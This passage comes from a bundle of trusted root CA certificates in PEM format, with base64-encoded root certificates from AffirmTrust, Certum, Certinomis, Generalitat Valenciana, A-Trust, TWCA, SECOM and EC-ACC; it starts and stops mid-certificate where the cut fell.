MIIDTDCCAjSgAwIBAgIId3cGJyapsXwwDQYJKoZIhvcNAQELBQAwRDELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMB4XDTEw MDEyOTE0MDYwNloXDTMwMTIzMTE0MDYwNlowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEA9htPZwcroRX1BiLLHwGy43NFBkRJLLtJJRTWzsO3qyxPxkEylFf6Eqdb DuKPHx6GGaeqtS25Xw2Kwq+FNXkyLbscYjfysVtKPcrNcV/pQr6U6Mje+SJIZMblq8Yrba0F8PrV C8+a5fBQpIs7R6UjW3p6+DM/uO+Zl+MgwdYoic+U+7lF7eNAFxHUdPALMeIrJmqbTFeurCA+ukV6 BfO9m2kVrn1OIGPENXY6BwLJN/3HR+7o8XYdcxXyl6S1yHp52UKqK39c/s4mT6NmgTWvRLpUHhww MmWd5jyTXlBOeuM61G7MGvv50jeuJCqrVwMiKA1JdX+3KNp1v47j3A55MQIDAQABo0IwQDAdBgNV HQ4EFgQUnZPGU4teyq8/nx4P5ZmVvCT2lI8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwDQYJKoZIhvcNAQELBQADggEBAFis9AQOzcAN/wr91LoWXym9e2iZWEnStB03TX8nfUYGXUPG hi4+c7ImfU+TqbbEKpqrIZcUsd6M06uJFdhrJNTxFq7YpFzUf1GO7RgBsZNjvbz4YYCanrHOQnDi qX0GJX0nof5v7LMeJNrjS1UaADs1tDvZ110w/YETifLCBivtZ8SOyUOyXGsViQK8YvxO8rUzqrJv 0wqiUOP2O+guRMLbZjipM1ZI8W0bM40NjD9gN53Tym1+NH4Nn3J2ixufcv1SNUFFApYvHLKac0kh sUlHRUe072o0EclNmsxZt9YCnlpOZbWUrhvfKbAW8b8Angc6F2S1BLUjIZkKlTuXfO8= -----END CERTIFICATE----- AffirmTrust Networking ====================== -----BEGIN CERTIFICATE----- MIIDTDCCAjSgAwIBAgIIfE8EORzUmS0wDQYJKoZIhvcNAQEFBQAwRDELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMB4XDTEw MDEyOTE0MDgyNFoXDTMwMTIzMTE0MDgyNFowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEAtITMMxcua5Rsa2FSoOujz3mUTOWUgJnLVWREZY9nZOIG41w3SfYvm4SE Hi3yYJ0wTsyEheIszx6e/jarM3c1RNg1lho9Nuh6DtjVR6FqaYvZ/Ls6rnla1fTWcbuakCNrmreI dIcMHl+5ni36q1Mr3Lt2PpNMCAiMHqIjHNRqrSK6mQEubWXLviRmVSRLQESxG9fhwoXA3hA/Pe24 /PHxI1Pcv2WXb9n5QHGNfb2V1M6+oF4nI979ptAmDgAp6zxG8D1gvz9Q0twmQVGeFDdCBKNwV6gb h+0t+nvujArjqWaJGctB+d1ENmHP4ndGyH329JKBNv3bNPFyfvMMFr20FQIDAQABo0IwQDAdBgNV HQ4EFgQUBx/S55zawm6iQLSwelAQUHTEyL0wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwDQYJKoZIhvcNAQEFBQADggEBAIlXshZ6qML91tmbmzTCnLQyFE2npN/svqe++EPbkTfOtDIu UFUaNU52Q3Eg75N3ThVwLofDwR1t3Mu1J9QsVtFSUzpE0nPIxBsFZVpikpzuQY0x2+c06lkh1QF6 12S4ZDnNye2v7UsDSKegmQGA3GWjNq5lWUhPgkvIZfFXHeVZLgo/bNjR9eUJtGxUAArgFU2HdW23 WJZa3W3SAKD0m0i+wzekujbgfIeFlxoVot4uolu9rxj5kFDNcFn4J2dHy8egBzp90SxdbBk6ZrV9 /ZFvgrG+CJPbFEfxojfHRZ48x3evZKiT3/Zpg4Jg8klCNO1aAFSFHBY2kgxc+qatv9s= -----END CERTIFICATE----- AffirmTrust Premium =================== -----BEGIN CERTIFICATE----- MIIFRjCCAy6gAwIBAgIIbYwURrGmCu4wDQYJKoZIhvcNAQEMBQAwQTELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMB4XDTEwMDEy OTE0MTAzNloXDTQwMTIzMTE0MTAzNlowQTELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRy dXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMIICIjANBgkqhkiG9w0BAQEFAAOCAg8A MIICCgKCAgEAxBLfqV/+Qd3d9Z+K4/as4Tx4mrzY8H96oDMq3I0gW64tb+eT2TZwamjPjlGjhVtn BKAQJG9dKILBl1fYSCkTtuG+kU3fhQxTGJoeJKJPj/CihQvL9Cl/0qRY7iZNyaqoe5rZ+jjeRFcV 5fiMyNlI4g0WJx0eyIOFJbe6qlVBzAMiSy2RjYvmia9mx+n/K+k8rNrSs8PhaJyJ+HoAVt70VZVs +7pk3WKL3wt3MutizCaam7uqYoNMtAZ6MMgpv+0GTZe5HMQxK9VfvFMSF5yZVylmd2EhMQcuJUmd GPLu8ytxjLW6OQdJd/zvLpKQBY0tL3d770O/Nbua2Plzpyzy0FfuKE4mX4+QaAkvuPjcBukumj5R p9EixAqnOEhss/n/fauGV+O61oV4d7pD6kh/9ti+I20ev9E2bFhc8e6kGVQa9QPSdubhjL08s9NI S+LI+H+SqHZGnEJlPqQewQcDWkYtuJfzt9WyVSHvutxMAJf7FJUnM7/oQ0dG0giZFmA7mn7S5u04 6uwBHjxIVkkJx0w3AJ6IDsBz4W9m6XJHMD4Q5QsDyZpCAGzFlH5hxIrff4IaC1nEWTJ3s7xgaVY5 /bQGeyzWZDbZvUjthB9+pSKPKrhC9IK31FOQeE4tGv2Bb0TXOwF0lkLgAOIua+rF7nKsu7/+6qqo +Nz2snmKtmcCAwEAAaNCMEAwHQYDVR0OBBYEFJ3AZ6YMItkm9UWrpmVSESfYRaxjMA8GA1UdEwEB /wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBDAUAA4ICAQCzV00QYk465KzquByv MiPIs0laUZx2KI15qldGF9X1Uva3ROgIRL8YhNILgM3FEv0AVQVhh0HctSSePMTYyPtwni94loMg Nt58D2kTiKV1NpgIpsbfrM7jWNa3Pt668+s0QNiigfV4Py/VpfzZotReBA4Xrf5B8OWycvpEgjNC 6C1Y91aMYj+6QrCcDFx+LmUmXFNPALJ4fqENmS2NuB2OosSw/WDQMKSOyARiqcTtNd56l+0OOF6S L5Nwpamcb6d9Ex1+xghIsV5n61EIJenmJWtSKZGc0jlzCFfemQa0W50QBuHCAKi4HEoCChTQwUHK +4w1IX2COPKpVJEZNZOUbWo6xbLQu4mGk+ibyQ86p3q4ofB4Rvr8Ny/lioTz3/4E2aFooC8k4gmV BtWVyuEklut89pMFu+1z6S3RdTnX5yTb2E5fQ4+e0BQ5v1VwSJlXMbSc7kqYA5YwH2AG7hsj/oFg IxpHYoWlzBk0gG+zrBrjn/B7SK3VAdlntqlyk+otZrWyuOQ9PLLvTIzq6we/qzWaVYa8GKa1qF60 g2xraUDTn9zxw2lrueFtCfTxqlB2Cnp9ehehVZZCmTEJ3WARjQUwfuaORtGdFNrHF+QFlozEJLUb zxQHskD4o55BhrwE0GuWyCqANP2/7waj3VjFhT0+j/6eKeC2uAloGRwYQw== -----END CERTIFICATE----- AffirmTrust Premium ECC ======================= -----BEGIN CERTIFICATE----- MIIB/jCCAYWgAwIBAgIIdJclisc/elQwCgYIKoZIzj0EAwMwRTELMAkGA1UEBhMCVVMxFDASBgNV BAoMC0FmZmlybVRydXN0MSAwHgYDVQQDDBdBZmZpcm1UcnVzdCBQcmVtaXVtIEVDQzAeFw0xMDAx MjkxNDIwMjRaFw00MDEyMzExNDIwMjRaMEUxCzAJBgNVBAYTAlVTMRQwEgYDVQQKDAtBZmZpcm1U cnVzdDEgMB4GA1UEAwwXQWZmaXJtVHJ1c3QgUHJlbWl1bSBFQ0MwdjAQBgcqhkjOPQIBBgUrgQQA IgNiAAQNMF4bFZ0D0KF5Nbc6PJJ6yhUczWLznCZcBz3lVPqj1swS6vQUX+iOGasvLkjmrBhDeKzQ N8O9ss0s5kfiGuZjuD0uL3jET9v0D6RoTFVya5UdThhClXjMNzyR4ptlKymjQjBAMB0GA1UdDgQW BBSaryl6wBE1NSZRMADDav5A1a7WPDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAK BggqhkjOPQQDAwNnADBkAjAXCfOHiFBar8jAQr9HX/VsaobgxCd05DhT1wV/GzTjxi+zygk8N53X 57hG8f2h4nECMEJZh0PUUd+60wkyWs6Iflc9nF9Ca/UHLbXwgpP5WW+uZPpY5Yse42O+tYHNbwKM eQ== -----END CERTIFICATE----- Certum Trusted Network CA ========================= -----BEGIN CERTIFICATE----- MIIDuzCCAqOgAwIBAgIDBETAMA0GCSqGSIb3DQEBBQUAMH4xCzAJBgNVBAYTAlBMMSIwIAYDVQQK ExlVbml6ZXRvIFRlY2hub2xvZ2llcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlv biBBdXRob3JpdHkxIjAgBgNVBAMTGUNlcnR1bSBUcnVzdGVkIE5ldHdvcmsgQ0EwHhcNMDgxMDIy MTIwNzM3WhcNMjkxMjMxMTIwNzM3WjB+MQswCQYDVQQGEwJQTDEiMCAGA1UEChMZVW5pemV0byBU ZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRpZmljYXRpb24gQXV0aG9yaXR5 MSIwIAYDVQQDExlDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBMIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEA4/t9o3K6wvDJFIf1awFO4W5AB7ptJ11/91sts1rHUV+rpDKmYYe2bg+G0jAC l/jXaVehGDldamR5xgFZrDwxSjh80gTSSyjoIF87B6LMTXPb865Px1bVWqeWifrzq2jUI4ZZJ88J J7ysbnKDHDBy3+Ci6dLhdHUZvSqeexVUBBvXQzmtVSjF4hq79MDkrjhJM8x2hZ85RdKknvISjFH4 fOQtf/WsX+sWn7Et0brMkUJ3TCXJkDhv2/DM+44el1k+1WBO5gUo7Ul5E0u6SNsv+XLTOcr+H9g0 cvW0QM8xAcPs3hEtF10fuFDRXhmnad4HMyjKUJX5p1TLVIZQRan5SQIDAQABo0IwQDAPBgNVHRMB Af8EBTADAQH/MB0GA1UdDgQWBBQIds3LB/8k9sXN7buQvOKEN0Z19zAOBgNVHQ8BAf8EBAMCAQYw DQYJKoZIhvcNAQEFBQADggEBAKaorSLOAT2mo/9i0Eidi15ysHhE49wcrwn9I0j6vSrEuVUEtRCj jSfeC4Jj0O7eDDd5QVsisrCaQVymcODU0HfLI9MA4GxWL+FpDQ3Zqr8hgVDZBqWo/5U30Kr+4rP1 mS1FhIrlQgnXdAIv94nYmem8J9RHjboNRhx3zxSkHLmkMcScKHQDNP8zGSal6Q10tz6XxnboJ5aj Zt3hrvJBW8qYVoNzcOSGGtIxQbovvi0TWnZvTuhOgQ4/WwMioBK+ZlgRSssDxLQqKi2WF+A5VLxI 03YnnZotBqbJ7DnSq9ufmgsnAjUpsUCV5/nonFWIGUbWtzT1fs45mtk48VH3Tyw= -----END CERTIFICATE----- Certinomis - Autorité Racine ============================= -----BEGIN CERTIFICATE----- MIIFnDCCA4SgAwIBAgIBATANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJGUjETMBEGA1UEChMK Q2VydGlub21pczEXMBUGA1UECxMOMDAwMiA0MzM5OTg5MDMxJjAkBgNVBAMMHUNlcnRpbm9taXMg LSBBdXRvcml0w6kgUmFjaW5lMB4XDTA4MDkxNzA4Mjg1OVoXDTI4MDkxNzA4Mjg1OVowYzELMAkG A1UEBhMCRlIxEzARBgNVBAoTCkNlcnRpbm9taXMxFzAVBgNVBAsTDjAwMDIgNDMzOTk4OTAzMSYw JAYDVQQDDB1DZXJ0aW5vbWlzIC0gQXV0b3JpdMOpIFJhY2luZTCCAiIwDQYJKoZIhvcNAQEBBQAD ggIPADCCAgoCggIBAJ2Fn4bT46/HsmtuM+Cet0I0VZ35gb5j2CN2DpdUzZlMGvE5x4jYF1AMnmHa wE5V3udauHpOd4cN5bjr+p5eex7Ezyh0x5P1FMYiKAT5kcOrJ3NqDi5N8y4oH3DfVS9O7cdxbwly Lu3VMpfQ8Vh30WC8Tl7bmoT2R2FFK/ZQpn9qcSdIhDWerP5pqZ56XjUl+rSnSTV3lqc2W+HN3yNw 2F1MpQiD8aYkOBOo7C+ooWfHpi2GR+6K/OybDnT0K0kCe5B1jPyZOQE51kqJ5Z52qz6WKDgmi92N jMD2AR5vpTESOH2VwnHu7XSu5DaiQ3XV8QCb4uTXzEIDS3h65X27uK4uIJPT5GHfceF2Z5c/tt9q c1pkIuVC28+BA5PY9OMQ4HL2AHCs8MF6DwV/zzRpRbWT5BnbUhYjBYkOjUjkJW+zeL9i9Qf6lSTC lrLooyPCXQP8w9PlfMl1I9f09bze5N/NgL+RiH2nE7Q5uiy6vdFrzPOlKO1Enn1So2+WLhl+HPNb xxaOu2B9d2ZHVIIAEWBsMsGoOBvrbpgT1u449fCfDu/+MYHB0iSVL1N6aaLwD4ZFjliCK0wi1F6g 530mJ0jfJUaNSih8hp75mxpZuWW/Bd22Ql095gBIgl4g9xGC3srYn+Y3RyYe63j3YcNBZFgCQfna 4NH4+ej9Uji29YnfAgMBAAGjWzBZMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G A1UdDgQWBBQNjLZh2kS40RR9w759XkjwzspqsDAXBgNVHSAEEDAOMAwGCiqBegFWAgIAAQEwDQYJ KoZIhvcNAQEFBQADggIBACQ+YAZ+He86PtvqrxyaLAEL9MW12Ukx9F1BjYkMTv9sov3/4gbIOZ/x WqndIlgVqIrTseYyCYIDbNc/CMf4uboAbbnW/FIyXaR/pDGUu7ZMOH8oMDX/nyNTt7buFHAAQCva R6s0fl6nVjBhK4tDrP22iCj1a7Y+YEq6QpA0Z43q619FVDsXrIvkxmUP7tCMXWY5zjKn2BCXwH40 nJ+U8/aGH88bc62UeYdocMMzpXDn2NU4lG9jeeu/Cg4I58UvD0KgKxRA/yHgBcUn4YQRE7rWhh1B CxMjidPJC+iKunqjo3M3NYB9Ergzd0A4wPpeMNLytqOx1qKVl4GbUu1pTP+A5FPbVFsDbVRfsbjv JL1vnxHDx2TCDyhihWZeGnuyt++uNckZM6i4J9szVb9o4XVIRFb7zdNIu0eJOqxp9YDG5ERQL1TE qkPFMTFYvZbF6nVsmnWxTfj3l/+WFvKXTej28xH5On2KOG4Ey+HTRRWqpdEdnV1j6CTmNhTih60b WfVEm/vXd3wfAXBioSAaosUaKPQhA+4u2cGA6rnZgtZbdsLLO7XSAPCjDuGtbkD326C00EauFddE wk01+dIL8hf2rGbVJLJP0RyZwG71fet0BLj5TXcJ17TPBzAJ8bgAVtkXFhYKK4bfjwEZGuW7gmP/ vgt2Fl43N+bYdJeimUV5 -----END CERTIFICATE----- Root CA Generalitat Valenciana ============================== -----BEGIN CERTIFICATE----- MIIGizCCBXOgAwIBAgIEO0XlaDANBgkqhkiG9w0BAQUFADBoMQswCQYDVQQGEwJFUzEfMB0GA1UE ChMWR2VuZXJhbGl0YXQgVmFsZW5jaWFuYTEPMA0GA1UECxMGUEtJR1ZBMScwJQYDVQQDEx5Sb290 IENBIEdlbmVyYWxpdGF0IFZhbGVuY2lhbmEwHhcNMDEwNzA2MTYyMjQ3WhcNMjEwNzAxMTUyMjQ3 WjBoMQswCQYDVQQGEwJFUzEfMB0GA1UEChMWR2VuZXJhbGl0YXQgVmFsZW5jaWFuYTEPMA0GA1UE CxMGUEtJR1ZBMScwJQYDVQQDEx5Sb290IENBIEdlbmVyYWxpdGF0IFZhbGVuY2lhbmEwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDGKqtXETcvIorKA3Qdyu0togu8M1JAJke+WmmmO3I2 F0zo37i7L3bhQEZ0ZQKQUgi0/6iMweDHiVYQOTPvaLRfX9ptI6GJXiKjSgbwJ/BXufjpTjJ3Cj9B ZPPrZe52/lSqfR0grvPXdMIKX/UIKFIIzFVd0g/bmoGlu6GzwZTNVOAydTGRGmKy3nXiz0+J2ZGQ D0EbtFpKd71ng+CT516nDOeB0/RSrFOyA8dEJvt55cs0YFAQexvba9dHq198aMpunUEDEO5rmXte JajCq+TA81yc477OMUxkHl6AovWDfgzWyoxVjr7gvkkHD6MkQXpYHYTqWBLI4bft75PelAgxAgMB AAGjggM7MIIDNzAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLnBraS5n dmEuZXMwEgYDVR0TAQH/BAgwBgEB/wIBAjCCAjQGA1UdIASCAiswggInMIICIwYKKwYBBAG/VQIB ADCCAhMwggHoBggrBgEFBQcCAjCCAdoeggHWAEEAdQB0AG8AcgBpAGQAYQBkACAAZABlACAAQwBl AHIAdABpAGYAaQBjAGEAYwBpAPMAbgAgAFIAYQDtAHoAIABkAGUAIABsAGEAIABHAGUAbgBlAHIA YQBsAGkAdABhAHQAIABWAGEAbABlAG4AYwBpAGEAbgBhAC4ADQAKAEwAYQAgAEQAZQBjAGwAYQBy AGEAYwBpAPMAbgAgAGQAZQAgAFAAcgDhAGMAdABpAGMAYQBzACAAZABlACAAQwBlAHIAdABpAGYA aQBjAGEAYwBpAPMAbgAgAHEAdQBlACAAcgBpAGcAZQAgAGUAbAAgAGYAdQBuAGMAaQBvAG4AYQBt AGkAZQBuAHQAbwAgAGQAZQAgAGwAYQAgAHAAcgBlAHMAZQBuAHQAZQAgAEEAdQB0AG8AcgBpAGQA YQBkACAAZABlACAAQwBlAHIAdABpAGYAaQBjAGEAYwBpAPMAbgAgAHMAZQAgAGUAbgBjAHUAZQBu AHQAcgBhACAAZQBuACAAbABhACAAZABpAHIAZQBjAGMAaQDzAG4AIAB3AGUAYgAgAGgAdAB0AHAA OgAvAC8AdwB3AHcALgBwAGsAaQAuAGcAdgBhAC4AZQBzAC8AYwBwAHMwJQYIKwYBBQUHAgEWGWh0 dHA6Ly93d3cucGtpLmd2YS5lcy9jcHMwHQYDVR0OBBYEFHs100DSHHgZZu90ECjcPk+yeAT8MIGV BgNVHSMEgY0wgYqAFHs100DSHHgZZu90ECjcPk+yeAT8oWykajBoMQswCQYDVQQGEwJFUzEfMB0G A1UEChMWR2VuZXJhbGl0YXQgVmFsZW5jaWFuYTEPMA0GA1UECxMGUEtJR1ZBMScwJQYDVQQDEx5S b290IENBIEdlbmVyYWxpdGF0IFZhbGVuY2lhbmGCBDtF5WgwDQYJKoZIhvcNAQEFBQADggEBACRh TvW1yEICKrNcda3FbcrnlD+laJWIwVTAEGmiEi8YPyVQqHxK6sYJ2fR1xkDar1CdPaUWu20xxsdz Ckj+IHLtb8zog2EWRpABlUt9jppSCS/2bxzkoXHPjCpaF3ODR00PNvsETUlR4hTJZGH71BTg9J63 NI8KJr2XXPR5OkowGcytT6CYirQxlyric21+eLj4iIlPsSKRZEv1UN4D2+XFducTZnV+ZfsBn5OH iJ35Rld8TWCvmHMTI6QgkYH60GFmuH3Rr9ZvHmw96RH9qfmCIoaZM3Fa6hlXPZHNqcCjbgcTpsnt +GijnsNacgmHKNHEc8RzGF9QdRYxn7fofMM= -----END CERTIFICATE----- A-Trust-nQual-03 ================ -----BEGIN CERTIFICATE----- MIIDzzCCAregAwIBAgIDAWweMA0GCSqGSIb3DQEBBQUAMIGNMQswCQYDVQQGEwJBVDFIMEYGA1UE Cgw/QS1UcnVzdCBHZXMuIGYuIFNpY2hlcmhlaXRzc3lzdGVtZSBpbSBlbGVrdHIuIERhdGVudmVy a2VociBHbWJIMRkwFwYDVQQLDBBBLVRydXN0LW5RdWFsLTAzMRkwFwYDVQQDDBBBLVRydXN0LW5R dWFsLTAzMB4XDTA1MDgxNzIyMDAwMFoXDTE1MDgxNzIyMDAwMFowgY0xCzAJBgNVBAYTAkFUMUgw RgYDVQQKDD9BLVRydXN0IEdlcy4gZi4gU2ljaGVyaGVpdHNzeXN0ZW1lIGltIGVsZWt0ci4gRGF0 ZW52ZXJrZWhyIEdtYkgxGTAXBgNVBAsMEEEtVHJ1c3QtblF1YWwtMDMxGTAXBgNVBAMMEEEtVHJ1 c3QtblF1YWwtMDMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtPWFuA/OQO8BBC4SA zewqo51ru27CQoT3URThoKgtUaNR8t4j8DRE/5TrzAUjlUC5B3ilJfYKvUWG6Nm9wASOhURh73+n yfrBJcyFLGM/BWBzSQXgYHiVEEvc+RFZznF/QJuKqiTfC0Li21a8StKlDJu3Qz7dg9MmEALP6iPE SU7l0+m0iKsMrmKS1GWH2WrX9IWf5DMiJaXlyDO6w8dB3F/GaswADm0yqLaHNgBid5seHzTLkDx4 iHQF63n1k3Flyp3HaxgtPVxO59X4PzF9j4fsCiIvI+n+u33J4PTs63zEsMMtYrWacdaxaujs2e3V cuy+VwHOBVWf3tFgiBCzAgMBAAGjNjA0MA8GA1UdEwEB/wQFMAMBAf8wEQYDVR0OBAoECERqlWdV eRFPMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOCAQEAVdRU0VlIXLOThaq/Yy/kgM40 ozRiPvbY7meIMQQDbwvUB/tOdQ/TLtPAF8fGKOwGDREkDg6lXb+MshOWcdzUzg4NCmgybLlBMRmr sQd7TZjTXLDR8KdCoLXEjq/+8T/0709GAHbrAvv5ndJAlseIOrifEXnzgGWovR/TeIGgUUw3tKZd JXDRZslo+S4RFGjxVJgIrCaSD96JntT6s3kr0qN51OyLrIdTaEJMUVF0HhsnLuP1Hyl0Te2v9+GS mYHovjrHF1D2t8b8m7CKa9aIA5GPBnc6hQLdmNVDeD/GMBWsm2vLV7eJUYs66MmEDNuxUCAKGkq6 ahq97BvIxYSazQ== -----END CERTIFICATE----- TWCA Root Certification Authority ================================= -----BEGIN CERTIFICATE----- MIIDezCCAmOgAwIBAgIBATANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJUVzESMBAGA1UECgwJ VEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NBIFJvb3QgQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkwHhcNMDgwODI4MDcyNDMzWhcNMzAxMjMxMTU1OTU5WjBfMQswCQYDVQQG EwJUVzESMBAGA1UECgwJVEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NB IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK AoIBAQCwfnK4pAOU5qfeCTiRShFAh6d8WWQUe7UREN3+v9XAu1bihSX0NXIP+FPQQeFEAcK0HMMx QhZHhTMidrIKbw/lJVBPhYa+v5guEGcevhEFhgWQxFnQfHgQsIBct+HHK3XLfJ+utdGdIzdjp9xC oi2SBBtQwXu4PhvJVgSLL1KbralW6cH/ralYhzC2gfeXRfwZVzsrb+RH9JlF/h3x+JejiB03HFyP 4HYlmlD4oFT/RJB2I9IyxsOrBr/8+7/zrX2SYgJbKdM1o5OaQ2RgXbL6Mv87BK9NQGr5x+PvI/1r y+UPizgN7gr8/g+YnzAx3WxSZfmLgb4i4RxYA7qRG4kHAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIB BjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqOFsmjd6LWvJPelSDGRjjCDWmujANBgkqhkiG 9w0BAQUFAAOCAQEAPNV3PdrfibqHDAhUaiBQkr6wQT25JmSDCi/oQMCXKCeCMErJk/9q56YAf4lC mtYR5VPOL8zy2gXE/uJQxDqGfczafhAJO5I1KlOy/usrBdlsXebQ79NqZp4VKIV66IIArB6nCWlW QtNoURi+VJq/REG6Sb4gumlc7rh3zc5sH62Dlhh9DrUUOYTxKOkto557HnpyWoOzeW/vtPzQCqVY T0bf+215WfKEIlKuD8z7fDvnaspHYcN6+NOSBB+4IIThNlQWx0DeO4pz3N/GCUzf7Nr/1FNCocny Yh0igzyXxfkZYiesZSLX0zzG5Y6yU8xJzrww/nsOM5D77dIUkR8Hrw== -----END CERTIFICATE----- Security Communication RootCA2 ============================== -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIBADANBgkqhkiG9w0BAQsFADBdMQswCQYDVQQGEwJKUDElMCMGA1UEChMc U0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEnMCUGA1UECxMeU2VjdXJpdHkgQ29tbXVuaWNh dGlvbiBSb290Q0EyMB4XDTA5MDUyOTA1MDAzOVoXDTI5MDUyOTA1MDAzOVowXTELMAkGA1UEBhMC SlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xJzAlBgNVBAsTHlNlY3Vy aXR5IENvbW11bmljYXRpb24gUm9vdENBMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB ANAVOVKxUrO6xVmCxF1SrjpDZYBLx/KWvNs2l9amZIyoXvDjChz335c9S672XewhtUGrzbl+dp++ +T42NKA7wfYxEUV0kz1XgMX5iZnK5atq1LXaQZAQwdbWQonCv/Q4EpVMVAX3NuRFg3sUZdbcDE3R 3n4MqzvEFb46VqZab3ZpUql6ucjrappdUtAtCms1FgkQhNBqyjoGADdH5H5XTz+L62e4iKrFvlNV spHEfbmwhRkGeC7bYRr6hfVKkaHnFtWOojnflLhwHyg/i/xAXmODPIMqGplrz95Zajv8bxbXH/1K EOtOghY6rCcMU/Gt1SSwawNQwS08Ft1ENCcadfsCAwEAAaNCMEAwHQYDVR0OBBYEFAqFqXdlBZh8 QIH4D5csOPEK7DzPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEB CwUAA4IBAQBMOqNErLlFsceTfsgLCkLfZOoc7llsCLqJX2rKSpWeeo8HxdpFcoJxDjrSzG+ntKEj u/Ykn8sX/oymzsLS28yN/HH8AynBbF0zX2S2ZTuJbxh2ePXcokgfGT+Ok+vx+hfuzU7jBBJV1uXk 3fs+BXziHV7Gp7yXT2g69ekuCkO2r1dcYmh8t/2jioSgrGK+KwmHNPBqAbubKVY8/gA3zyNs8U6q tnRGEmyR7jTV7JqR50S+kDFy1UkC9gLl9B/rfNmWVan/7Ir5mUf/NVoCqgTLiluHcSmRvaS0eg29 mvVXIwAHIRc/SjnRBUkLp7Y3gaVdjKozXoEofKd9J+sAro03 -----END CERTIFICATE----- EC-ACC ====== -----BEGIN CERTIFICATE----- MIIFVjCCBD6gAwIBAgIQ7is969Qh3hSoYqwE893EATANBgkqhkiG9w0BAQUFADCB8zELMAkGA1UE BhMCRVMxOzA5BgNVBAoTMkFnZW5jaWEgQ2F0YWxhbmEgZGUgQ2VydGlmaWNhY2lvIChOSUYgUS0w ODAxMTc2LUkpMSgwJgYDVQQLEx9TZXJ2ZWlzIFB1YmxpY3MgZGUgQ2VydGlmaWNhY2lvMTUwMwYD VQQLEyxWZWdldSBodHRwczovL3d3dy5jYXRjZXJ0Lm5ldC92ZXJhcnJlbCAoYykwMzE1MDMGA1UE CxMsSmVyYXJxdWlhIEVudGl0YXRzIGRlIENlcnRpZmljYWNpbyBDYXRhbGFuZXMxDzANBgNVBAMT BkVDLUFDQzAeFw0wMzAxMDcyMzAwMDBaFw0zMTAxMDcyMjU5NTlaMIHzMQswCQYDVQQGEwJFUzE7 MDkGA1UEChMyQWdlbmNpYSBDYXRhbGFuYSBkZSBDZXJ0aWZpY2FjaW8gKE5JRiBRLTA4MDExNzYt SSkxKDAmBgNVBAsTH1NlcnZlaXMgUHVibGljcyBkZSBDZXJ0aWZpY2FjaW8xNTAzBgNVBAsTLFZl Z2V1IGh0dHBzOi8vd3d3LmNhdGNlcnQubmV0L3ZlcmFycmVsIChjKTAzMTUwMwYDVQQLEyxKZXJh cnF1aWEgRW50aXRhdHMgZGUgQ2VydGlmaWNhY2lvIENhdGFsYW5lczEPMA0GA1UEAxMGRUMtQUND MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsyLHT+KXQpWIR4NA9h0X84NzJB5R85iK w5K4/0CQBXCHYMkAqbWUZRkiFRfCQ2xmRJoNBD45b6VLeqpjt4pEndljkYRm4CgPukLjbo73FCeT ae6RDqNfDrHrZqJyTxIThmV6PttPB/SnCWDaOkKZx7J/sxaVHMf5NLWUhdWZXqBIoH7nF2W4onW4 HvPlQn2v7fOKSGRdghST2MDk/7NQcvJ29rNdQlB50JQ+awwAvthrDk4q7D7SzIKiGGUzE3eeml0a E9jD2z3Il3rucO2n5nzbcc8tlGLfbdb1OL4/pYUKGbio2Al1QnDE6u/LDsg0qBIimAy4E5S2S+zw 0JDnJwIDAQABo4HjMIHgMB0GA1UdEQQWMBSBEmVjX2FjY0BjYXRjZXJ0Lm5ldDAPBgNVHRMBAf8E 